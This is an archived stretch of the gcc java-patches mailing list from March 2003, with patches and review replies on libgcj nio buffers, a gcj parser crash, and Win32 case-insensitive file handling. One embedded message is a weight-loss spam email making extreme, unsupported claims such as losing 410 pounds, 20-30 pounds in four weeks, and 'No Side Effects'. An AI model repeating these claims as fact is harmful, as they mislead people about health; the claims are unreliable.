+ + * gnu/java/nio/ByteBufferImpl.java + (putInt): Use limit() instead of limit. + * gnu/java/nio/CharBufferImpl.java + (slice): Fixed implementation. + (subSequence): Better bounds checking. + * gnu/java/nio/MappedByteFileBuffer.java: + Import all needed classes directly. + * java/nio/ByteBuffer.java + (hashCode): New dummy method. + * java/nio/CharBuffer.java + (array_offset): New member variable. + (hasArray): Fixed documentation. + (arrayOffset): Return array_offset. + 2003-03-10 Michael Koch * java/nio/ByteOrder.java Index: gnu/java/nio/ByteBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/ByteBufferImpl.java,v retrieving revision 1.4 diff -u -r1.4 ByteBufferImpl.java --- gnu/java/nio/ByteBufferImpl.java 19 Feb 2003 11:47:49 -0000 1.4 +++ gnu/java/nio/ByteBufferImpl.java 11 Mar 2003 10:27:46 -0000 @@ -320,7 +320,7 @@ if (readOnly) throw new ReadOnlyBufferException (); - nio_put_Short (this, position (), limit(), value); + nio_put_Short (this, position (), limit (), value); inc_pos (2); return this; } @@ -352,7 +352,7 @@ if (readOnly) throw new ReadOnlyBufferException (); - nio_put_Int (this, position (), limit , value); + nio_put_Int (this, position (), limit (), value); inc_pos (4); return this; } Index: gnu/java/nio/CharBufferImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/CharBufferImpl.java,v retrieving revision 1.4 diff -u -r1.4 CharBufferImpl.java --- gnu/java/nio/CharBufferImpl.java 19 Feb 2003 11:47:49 -0000 1.4 +++ gnu/java/nio/CharBufferImpl.java 11 Mar 2003 10:27:46 -0000 @@ -98,7 +98,8 @@ public CharBuffer slice() { - return new CharBufferImpl (this); + return new CharBufferImpl (backing_buffer, arrayOffset () + position (), + remaining ()); } public CharBuffer duplicate() @@ -125,9 +126,10 @@ final public CharSequence subSequence (int start, int end) { - if (start < 0 || - end > length () || - start > end) + if (start < 0 + || start > length () + || end < start + || end > length ()) throw new IndexOutOfBoundsException (); // No support for direct buffers yet. Index: gnu/java/nio/MappedByteFileBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/MappedByteFileBuffer.java,v retrieving revision 1.1 diff -u -r1.1 MappedByteFileBuffer.java --- gnu/java/nio/MappedByteFileBuffer.java 25 Feb 2003 11:09:44 -0000 1.1 +++ gnu/java/nio/MappedByteFileBuffer.java 11 Mar 2003 10:27:46 -0000 @@ -36,7 +36,15 @@ exception statement from your version. */ package gnu.java.nio; -import java.nio.*; + +import java.nio.ByteBuffer; +import java.nio.CharBuffer; +import java.nio.DoubleBuffer; +import java.nio.FloatBuffer; +import java.nio.IntBuffer; +import java.nio.LongBuffer; +import java.nio.ShortBuffer; +import java.nio.MappedByteBuffer; import java.io.IOException; final public class MappedByteFileBuffer Index: java/nio/ByteBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/ByteBuffer.java,v retrieving revision 1.7 diff -u -r1.7 ByteBuffer.java --- java/nio/ByteBuffer.java 13 Feb 2003 11:37:10 -0000 1.7 +++ java/nio/ByteBuffer.java 11 Mar 2003 10:27:46 -0000 @@ -247,6 +247,15 @@ } /** + * Returns the current hash code of this buffer. + */ + public int hashCode() + { + // FIXME: Check what SUN calcs here + return super.hashCode(); + } + + /** * Tells whether or not this buffer is equal to another object. */ public boolean equals (Object obj) Index: java/nio/CharBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/CharBuffer.java,v retrieving revision 1.6 diff -u -r1.6 CharBuffer.java --- java/nio/CharBuffer.java 19 Feb 2003 11:47:49 -0000 1.6 +++ java/nio/CharBuffer.java 11 Mar 2003 10:27:46 -0000 @@ -45,6 +45,7 @@ public abstract class CharBuffer extends Buffer implements Comparable, CharSequence { + protected int array_offset = 0; protected char [] backing_buffer; /** @@ -201,7 +202,7 @@ } /** - * Tells wether this is buffer is backed by an array or not. + * Tells wether this is buffer is backed by an accessible array or not. */ public final boolean hasArray () { @@ -242,7 +243,7 @@ if (isReadOnly ()) throw new ReadOnlyBufferException (); - return 0; + return array_offset; } /** --Boundary-00=_Nqbb+KRUMFRd1JQ-- From java-patches-return-6442-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 11 11:14:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21742 invoked by alias); 11 Mar 2003 11:14:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21731 invoked from network); 11 Mar 2003 11:14:38 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 11 Mar 2003 11:14:38 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-44.rdu.redhat.com [172.16.50.44]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 34561ABB05; Tue, 11 Mar 2003 11:14:36 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2BBEXE06220; Tue, 11 Mar 2003 11:14:33 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15981.50456.956373.905584@cuddles.cambridge.redhat.com> Date: Tue, 11 Mar 2003 11:14:32 +0000 (GMT) To: "Ranjit Mathew" Cc: Subject: Re: Outstanding patches In-Reply-To: References: <15976.30370.141842.752106@cuddles.cambridge.redhat.com> <15980.60860.351730.412104@cuddles.cambridge.redhat.com> Ranjit Mathew writes: > > > Index: ChangeLog > > > from Ranjit Mathew > > > > > > * jcf-parse.c (set_source_filename): Use COMPARE_FILENAMES > > > instead of strcmp to compare file names. > > > Use IS_DIR_SEPARATOR instead of directly comparing to > > > '/' and '\\'. > > > > > > * jcf-write.c (generate_classfile): Use IS_DIR_SEPARATOR > > > instead of directly comparing to '/' and '\\'. > > > > What does this fix? > > This (and the one following it, merged into a common patch later) > are not "fixing" anything as such, but IMHO are The Right Thing > To Do w.r.t. directory separators. Right. You must say what a patch does, because I'm not checking anything that is not a bug fix into 3.3. > The file names/name-component comparisons bits are obviously (to > me) the right thing to do if one has a case-insensitive filesystem. Sure. Are there going to be any more? I'm going to wait for a grand one shot patch that fixes all of these. Andrew. From java-patches-return-6443-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 11 11:19:41 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22510 invoked by alias); 11 Mar 2003 11:19:41 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22498 invoked from network); 11 Mar 2003 11:19:40 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 11 Mar 2003 11:19:40 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-44.rdu.redhat.com [172.16.50.44]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 462D4ABB05; Tue, 11 Mar 2003 11:19:38 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2BBJZJ06353; Tue, 11 Mar 2003 11:19:35 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15981.50759.100166.859598@cuddles.cambridge.redhat.com> Date: Tue, 11 Mar 2003 11:19:34 +0000 (GMT) To: Ranjit Mathew Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Patch: DIR_SEPARATOR usage in jcf-write.c and jcf-io.c In-Reply-To: <3E59178A.C188A895@hotmail.com> References: <3E59178A.C188A895@hotmail.com> Ranjit Mathew writes: > Hi, > > This is a resubmission of the DIR_SEPARATOR patch for jcf-io.c > and jcf-write.c in the front-end. > > The last time I had submitted this, it was suggested that we > might be able to use something from libiberty instead - AFAICT, > the only relevant functions in libiberty seem to be the > basename( )/lbasename( ) functions. AFAIK, if we are to use them, > the code will still be as "untidy" as this, as they do not > directly address the issue we are trying to resolve here. > > This patch resolves the bug on Win32 where "gcj -C foo\Bar.java" > produces the class file in the current directory instead of in > "foo" while "gcj -C foo/Bar.java" has the correct behaviour. > > Ranjit. > > > Index: ChangeLog > from Ranjit Mathew > > * jcf-io.c (caching_stat): Account for both DIR_SEPARATOR > and DIR_SEPARATOR_2 for a target. > Correct minor typos. > > * jcf-write.c (make_class_file_name): Take both DIR_SEPARATOR > and DIR_SEPARATOR_2 for a target into account. This is a compiler patch, so it should have been sent to gcc-patches as well as java-patches. Also, I had to fix a warning. Applied to mainline and 3.3 branch. Andrew. From java-patches-return-6444-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 11 11:29:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25892 invoked by alias); 11 Mar 2003 11:29:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25885 invoked from network); 11 Mar 2003 11:29:34 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 11 Mar 2003 11:29:34 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-44.rdu.redhat.com [172.16.50.44]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 8E3F1ABB06; Tue, 11 Mar 2003 11:29:31 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2BBTRE06376; Tue, 11 Mar 2003 11:29:27 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15981.51351.876150.251107@cuddles.cambridge.redhat.com> Date: Tue, 11 Mar 2003 11:29:27 +0000 (GMT) To: gnustuff@thisiscool.com Cc: java-patches@gcc.gnu.org Subject: Patch for Preview: jcf-io.c and Win32 case-insensitive filename handling In-Reply-To: References: Please repost this to gcc-patches. CC to java-patches. The right way to include a new file in a patch is to diff it with an empty file. Thanks, Andrew. From java-patches-return-6445-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 11 12:49:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14475 invoked by alias); 11 Mar 2003 12:49:13 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14464 invoked from network); 11 Mar 2003 12:49:12 -0000 Received: from unknown (HELO hotmail.com) (65.54.245.105) by 172.16.49.205 with SMTP; 11 Mar 2003 12:49:12 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 11 Mar 2003 04:49:11 -0800 Received: from 148.87.1.171 by by1fd.bay1.hotmail.msn.com with HTTP; Tue, 11 Mar 2003 12:49:11 GMT X-Originating-IP: [148.87.1.171] From: "Ranjit Mathew" To: java-patches@gcc.gnu.org Bcc: Subject: Re: Outstanding patches Date: Tue, 11 Mar 2003 18:19:11 +0530 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 11 Mar 2003 12:49:11.0632 (UTC) FILETIME=[9D302D00:01C2E7CC] > > The file names/name-component comparisons bits are obviously (to > > me) the right thing to do if one has a case-insensitive filesystem. > >Sure. Are there going to be any more? I'm going to wait for a grand >one shot patch that fixes all of these. As noted in this post: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00665.html I am in doubt about what to do with jvspec.c. Otherwise, at the moment I don't have anything else. I just looked at "suspicious" uses of strcmp( ), '\\', '/' and DIR_SEPARATOR in the front-end for this series of patches. Ranjit. _________________________________________________________________ Cricket World Cup 2003- News, Views and Match Reports. http://server1.msn.co.in/msnspecials/worldcup03/ From java-patches-return-6446-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 11 16:19:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2670 invoked by alias); 11 Mar 2003 16:19:25 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2663 invoked from network); 11 Mar 2003 16:19:25 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 11 Mar 2003 16:19:25 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2BGJOE14007 for ; Tue, 11 Mar 2003 10:19:24 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Tue, 11 Mar 2003 10:19:31 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: Message-Id: Subject: Re: Patch for Preview: jcf-io.c and Win32 case-insensitive filename handling MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" 3/11/2003 12:16:51 AM, "Ranjit Mathew" wrote: >> This proposed patch aims to resolve gcj compilation glitches due >> to the Win32 case-insensitive filesystem. For my native MingW > >BTW, does it fix the following test case? > >How/Why? Yes, it does. If you're interested, download: http://www.thisiscool.com/jc1.zip (1.2M) and drop jc1.exe in: /compiler_root/lib/gcc-lib/mingw32/3.3 I've uncommented the diagnostic printf in jcf-win32.c so you can see which guesses jc1.exe is now rejecting based on enforcing case sensitivity. You can try it with the Foo/Bar example. It's pretty cool! Andrew: I'll resubmit the patch as you requested. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6447-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 12 00:07:00 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21730 invoked by alias); 12 Mar 2003 00:06:59 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21717 invoked from network); 12 Mar 2003 00:06:59 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 12 Mar 2003 00:06:59 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA14886; Tue, 11 Mar 2003 17:06:57 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id E6F204F8610; Tue, 11 Mar 2003 17:00:31 -0700 (MST) To: Gcc Patch List Cc: java-patches@gcc.gnu.org Subject: Patch: fix gcj ICE From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Now I'm having INSIPID THOUGHTS about the beautiful, round wives of HOLLYWOOD MOVIE MOGULS encased in PLEXIGLASS CARS and being approached by SMALL BOYS selling FRUIT.. Date: 11 Mar 2003 17:00:31 -0700 Message-ID: <87smttcv34.fsf@fleche.redhat.com> Lines: 46 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This patch fixes an ICE detect by the Jacks test suite. Tested on x86 Red Hat Linux 7.3, including mauve and jacks. There's no test case since this is covered by Jacks. You won't see an improvement in the results due to a problem in the Jacks test harness. I'm going to find out what to do about that -- it should never allow a SEGV when a normal compiler error is required. Ok for trunk? (Given that this is an ICE on illegal code only, I don't think it is very important for 3.3.) Tom Index: gcc/java/ChangeLog from Tom Tromey * parse.y (resolve_inner_class): Error if qualifier is a primitive type. Index: gcc/java/parse.y =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/parse.y,v retrieving revision 1.405.2.7 diff -u -r1.405.2.7 parse.y --- gcc/java/parse.y 28 Feb 2003 20:53:07 -0000 1.405.2.7 +++ gcc/java/parse.y 10 Mar 2003 07:56:08 -0000 @@ -3579,9 +3579,16 @@ return decl; } - /* Now go to the upper classes, bail out if necessary. We will + /* Now go to the upper classes, bail out if necessary. We will analyze the returned SUPER and act accordingly (see - do_resolve_class.) */ + do_resolve_class). */ + if (JPRIMITIVE_TYPE_P (TREE_TYPE (local_enclosing)) + || TREE_TYPE (local_enclosing) == void_type_node) + { + parse_error_context (cl, "Qualifier must be a reference"); + local_enclosing = NULL_TREE; + break; + } local_super = CLASSTYPE_SUPER (TREE_TYPE (local_enclosing)); if (!local_super || local_super == object_type_node) break; From java-patches-return-6448-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 12 01:16:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10506 invoked by alias); 12 Mar 2003 01:16:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10477 invoked from network); 12 Mar 2003 01:16:31 -0000 Received: from unknown (HELO gnudist.gnu.org) (199.232.41.7) by 172.16.49.205 with SMTP; 12 Mar 2003 01:16:31 -0000 Received: from adsl-63-204-249-186.dsl.lsan03.pacbell.net ([63.204.249.186] helo=aol.com) by gnudist.gnu.org with smtp (Exim 4.10.13) id 18sur7-00056N-00 for java-patches@gcc.gnu.org; Tue, 11 Mar 2003 20:16:29 -0500 Content-Type: text/html; charset="US-ASCII" Date: Tue, 11 Mar 2003 17:23:13 -0800 To: java-patches@gcc.gnu.org From: SlenderSecrets34@aol.com Subject: Flip Your Fat-Burning Switch Now! Organization: Message-Id: Untitled Document


          Flip Your Fat-Burning Switch

          "In less than 2 years time, my life has totally changed in incredible ways that words alone cannot describe. I have now lost a total of 410 pounds on the products, almost 4 feet off my waist alone, and well over 200 total inches."


          "Because I was nursing my baby, I was very careful not to cut back on calories. Once again, the program worked wonders for me, and in less than 2 months, I went from a size 14 to a size 8...it was so easy."


          "My energy level soared, "hope" re-entered my being and my outlook on life changed over-night. Pounds and inches dropped off faster than I expected. In just 8½ months I have lost more than 105 pounds, I’ve gone from a dress size of 24 to a size of 8 and I’ve lost approximately 100 inches.

          I now feel like a new person and have a new lease on life. My angina attacks have stopped and my blood pressure and cholesterol are under control. Even some arthritic problems are gone, as well. I’m happier than I’ve been in years and my self-esteem is returning. Life is good!”

          Let your personal success coach guide you step by step, using
          this very same breakthrough, phenomenal
          Fat Burning Program used by the folks above.

          If they can do it, so can you!"

          Start Looking Better and Feeling Better TODAY!

          Scientifically Formulated


          Floods your cells with critical concentrated nutrients & antioxidants!

          Markedly Suppresses your appetite!

          Dramatically Boosts your energy.

          Significantly Reduces food cravings.

          Rapidly Accelerates your body's fat burning furnace!

          Preserves & Enhances lean muscle mass as you lose excess fat & inches. 


          Just Imagine! You can literally be
          20-30 Pounds Lighter
          by Tuesday, April 8th!
          That's just 4 short weeks awa
          y!


          Clinically Proven

          FREE expert counseling & guidance.

          Dr. Recommended- Prominent Medical Advisory Board

          Natural, Safe, No Side Effects.


          Escape the Epidemic of Obesity Forever!

          Affects 100 million Americans

          Increases your risk of 40+ chronic illnesses!!

          Kills up to 600,000 Americans each year 

          Let us help you get started TODAY!

          We put together a personalized, tailored program exclusively for you; one to fit your individual needs and goals perfectly. You'll be working with an International Weight Loss and Nutritional Company with a 23-year track record! We've helped over 40 million people worldwide lose weight safely, and effectively with our doctor recommended breakthrough products. We'll work with you one on one, personally, to keep the weight off permanently.


          ** Picture yourself 2 to 5 Pounds slimmer by this coming 

          Tuesday, March 18th! **

          Would you like to do this consistently every week?



          No Problem! Your personal success coach is standing by right now to help you every step of the way.

          YES, I want to start burning fat and cellulite. I'd like to start losing unwanted pounds & inches, and achieve the most measurable results in the shortest amount of time possible.

           

          You are receiving this message because you have opted to receive information on products and services on the Internet from one of our partner sites. Should you wish to be removed from the main mailing list data base, please use the link below.  Allow up to 72 hours for your request to be processed, (you may receive additional e-mail during that time. Thank you for your patience). To be removed simply click here.

          From java-patches-return-6449-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Mar 12 04:00:30 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20027 invoked by alias); 12 Mar 2003 04:00:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20011 invoked from network); 12 Mar 2003 04:00:27 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 12 Mar 2003 04:00:27 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2C40Pn03228; Tue, 11 Mar 2003 22:00:25 -0600 From: Mohan Embar To: gcc-patches@gcc.gnu.org Cc: java-patches@gcc.gnu.org Date: Tue, 11 Mar 2003 22:00:37 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com Message-Id: <2XA0A9U22Y2Y65CBTQVPKH76HMHE.3e6eb0e5@p733> Subject: Patch for Preview: jcf-io.c and Win32 case-insensitive filename handling MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------1rzMg5fJnsyUBu7KmoPDhJ" ------------1rzMg5fJnsyUBu7KmoPDhJ Content-Type: text/plain; charset="windows-1252" Hi GCC Patch People, I had originally submitted this just to java-patches, but Andrew Haley asked me to submit it to gcc-patches and CC to java-patches. This proposed patch aims to resolve gcj compilation glitches due to the Win32 case-insensitive filesystem. For my native MingW build, I initially had a hacked up jcf-io.c which simulated checking the exact case of the .java or .class file to open. This is an attempt at the real deal. It also attempts to open the door at accomodating other case-insensitive filesystems. Here are some links that describe this bug: http://gcc.gnu.org/ml/java/2002-09/msg00073.html http://gcc.gnu.org/ml/java/2003-02/msg00276.html (end of message) I would have liked to do something like an AC_LINK_FILES and AC_DEFINE and avoid the ugly #ifdef-ing in the source files themselves. However, I was thwarted in this by not having a configure.in at the gcc/java level. Could this be done better? Here is my defense of this patch: Andrew had mentioned that he was worried about introducing platform-specific stuff in the front end and argued that such functionality might better be moved to the runtime library. However, in this case, it isn't a question of enforcing strict case checking throughout the entire compilation process. In fact, Ranjit even has patches which do exactly the opposite for certain file types. However, public Java classes must exist in same-named, same-case source files and therefore (cringe), I believe that it's the compiler's job (and not the runtime's job) to enforce case-strictness for these specific instances on case-insensitive filesystems. Since there is no portable way of doing this, it stands to reason that platform-specific code must trickle into the front end. Does this make sense or am I full of it? I've attached a test case which fails on MingW before the patch and tests favorably on both MingW and i686-pc-linux-gnu after the patch. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-03-11 Mohan Embar * Make-lang.in: added jcf-win32.c * jcf.h: defined macro JCF_OPEN_EXACT_CASE which resolves to open() on non-Win32 platforms and Win32-specific jcf_open_exact_case() on Win32 * jcf-io.c: use JCF_OPEN_EXACT_CASE when trying .java and .class files * jcf-win32.c: added to repository. Defines Win32-specific jcf_open_exact_case() Index: Make-lang.in =================================================================== RCS file: /cvsroot/gcc/gcc/gcc/java/Make-lang.in,v retrieving revision 1.91.12.3 diff -u -2 -r1.91.12.3 Make-lang.in --- Make-lang.in 26 Jan 2003 11:31:19 -0000 1.91.12.3 +++ Make-lang.in 11 Mar 2003 04:06:29 -0000 @@ -107,16 +107,16 @@ JAVA_OBJS = java/parse.o java/class.o java/decl.o java/expr.o \ java/constants.o java/lang.o java/typeck.o java/except.o java/verify.o \ - java/zextract.o java/jcf-io.o java/jcf-parse.o java/mangle.o \ - java/mangle_name.o java/builtins.o \ + java/zextract.o java/jcf-io.o java/jcf-win32.o java/jcf-parse.o \ + java/mangle.o java/mangle_name.o java/builtins.o \ java/jcf-write.o java/buffer.o java/check-init.o java/jcf-depend.o \ java/jcf-path.o java/xref.o java/boehm.o java/java-tree-inline.o mkdeps.o -GCJH_OBJS = java/gjavah.o java/jcf-io.o java/jcf-depend.o java/jcf-path.o \ - java/zextract.o version.o mkdeps.o errors.o +GCJH_OBJS = java/gjavah.o java/jcf-io.o java/jcf-win32.o java/jcf-depend.o \ + java/jcf-path.o java/zextract.o version.o mkdeps.o errors.o JVSCAN_OBJS = java/parse-scan.o java/jv-scan.o version.o -JCFDUMP_OBJS = java/jcf-dump.o java/jcf-io.o java/jcf-depend.o java/jcf-path.o \ - java/zextract.o errors.o version.o mkdeps.o +JCFDUMP_OBJS = java/jcf-dump.o java/jcf-io.o java/jcf-win32.o java/jcf-depend.o \ + java/jcf-path.o java/zextract.o errors.o version.o mkdeps.o JVGENMAIN_OBJS = java/jvgenmain.o java/mangle_name.o errors.o @@ -302,4 +302,5 @@ input.h java/java-except.h $(SYSTEM_H) toplev.h java/parse.h $(GGC_H) \ debug.h real.h gt-java-jcf-parse.h +java/jcf-win32.o: java/jcf-win32.c $(CONFIG_H) $(SYSTEM_H) java/jcf.h java/jcf-write.o: java/jcf-write.c $(CONFIG_H) $(JAVA_TREE_H) java/jcf.h \ $(RTL_H) java/java-opcodes.h java/parse.h java/buffer.h $(SYSTEM_H) \ Index: jcf-io.c =================================================================== RCS file: /cvsroot/gcc/gcc/gcc/java/jcf-io.c,v retrieving revision 1.36.2.2 diff -u -2 -r1.36.2.2 jcf-io.c --- jcf-io.c 10 Mar 2003 19:32:23 -0000 1.36.2.2 +++ jcf-io.c 11 Mar 2003 04:06:30 -0000 @@ -554,5 +554,5 @@ (classname_length <= 30 ? classname_length : 30))); - fd = open (buffer, O_RDONLY | O_BINARY); + fd = JCF_OPEN_EXACT_CASE (buffer, O_RDONLY | O_BINARY); if (fd >= 0) goto found; @@ -566,5 +566,5 @@ (classname_length <= 30 ? classname_length : 30))); - fd = open (buffer, O_RDONLY); + fd = JCF_OPEN_EXACT_CASE (buffer, O_RDONLY); if (fd >= 0) { Index: jcf.h =================================================================== RCS file: /cvsroot/gcc/gcc/gcc/java/jcf.h,v retrieving revision 1.31.20.1 diff -u -2 -r1.31.20.1 jcf.h --- jcf.h 7 Mar 2003 04:39:46 -0000 1.31.20.1 +++ jcf.h 11 Mar 2003 04:06:31 -0000 @@ -82,4 +82,21 @@ #endif +/* On case-insensitive file systems, we need to ensure that a request + to open a .java or .class file is honored only if the file to be + opened is of the exact case we are asking for. In other words, we + want to override the inherent case insensitivity of the underlying + file system. On other platforms, this macro becomes the vanilla + open() call. + + If you want to add another OS, add your define to the list below + (i.e. defined(WIN32) || defined(YOUR_OS)) and add an OS-specific + .c file to Make-lang.in similar to jcf-win32.c */ +#if defined(WIN32) + extern int jcf_open_exact_case(const char* filename, int oflag); + #define JCF_OPEN_EXACT_CASE(x,y) jcf_open_exact_case(x, y) +#else + #define JCF_OPEN_EXACT_CASE open +#endif + struct JCF; typedef int (*jcf_filbuf_t) PARAMS ((struct JCF*, int needed)); Index: jcf-win32.c =================================================================== --- jcf-win32.c 2003-03-11 21:40:00.000000000 -0600 +++ jcf-win32.c 2003-03-11 21:42:52.000000000 -0600 @@ -0,0 +1,77 @@ +/* Platform-Specific Win32 Functions + Copyright (C) 2003 Free Software Foundation, Inc. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU CC; see the file COPYING. If not, write to +the Free Software Foundation, 59 Temple Place - Suite 330, +Boston, MA 02111-1307, USA. + +Java and all Java-based marks are trademarks or registered trademarks +of Sun Microsystems, Inc. in the United States and other countries. +The Free Software Foundation is independent of Sun Microsystems, Inc. */ + +/* Written by Mohan Embar , March 2003. */ + +#ifdef WIN32 + +#include "config.h" +#include "system.h" + +#include "jcf.h" + +#define WIN32_LEAN_AND_MEAN +#include +#undef WIN32_LEAN_AND_MEAN + +static int file_not_found(void); + +static int file_not_found(void) +{ + /* simulate an open() failure with ENOENT */ + errno = ENOENT; + return -1; +} + +int jcf_open_exact_case(const char* filename, int oflag) +{ + int nFileLenIn = strlen(filename); + int nFileLenFound; + + /* See if we can find this file. */ + WIN32_FIND_DATA fd; + HANDLE hFile = FindFirstFile(filename, &fd); + FindClose(hFile); + if (hFile == INVALID_HANDLE_VALUE) + return file_not_found(); + + nFileLenFound = strlen(fd.cFileName); + if (nFileLenFound > nFileLenIn) + return file_not_found(); + /* this should never happen */ + + /* Here, we're only actually comparing the filename and not + checking the case of any containing directory components. + Although we're not fully obeying our contract, checking + all directory components would be tedious and time-consuming + and it's a pretty safe assumption that mixed-case package + names are a fringe case.... */ + if (strcmp(filename+nFileLenIn-nFileLenFound, fd.cFileName)) { + /* printf("************\nRejected:\n%s\n%s\n************\n\n", filename, fd.cFileName); */ + return file_not_found(); + } + else { + return open(filename, oflag); + } +} + +#endif /* WIN32 */ ------------1rzMg5fJnsyUBu7KmoPDhJ Content-Disposition: attachment; filename="ExactCase.zip" Content-Type: application/zip Content-Transfer-Encoding: Base64 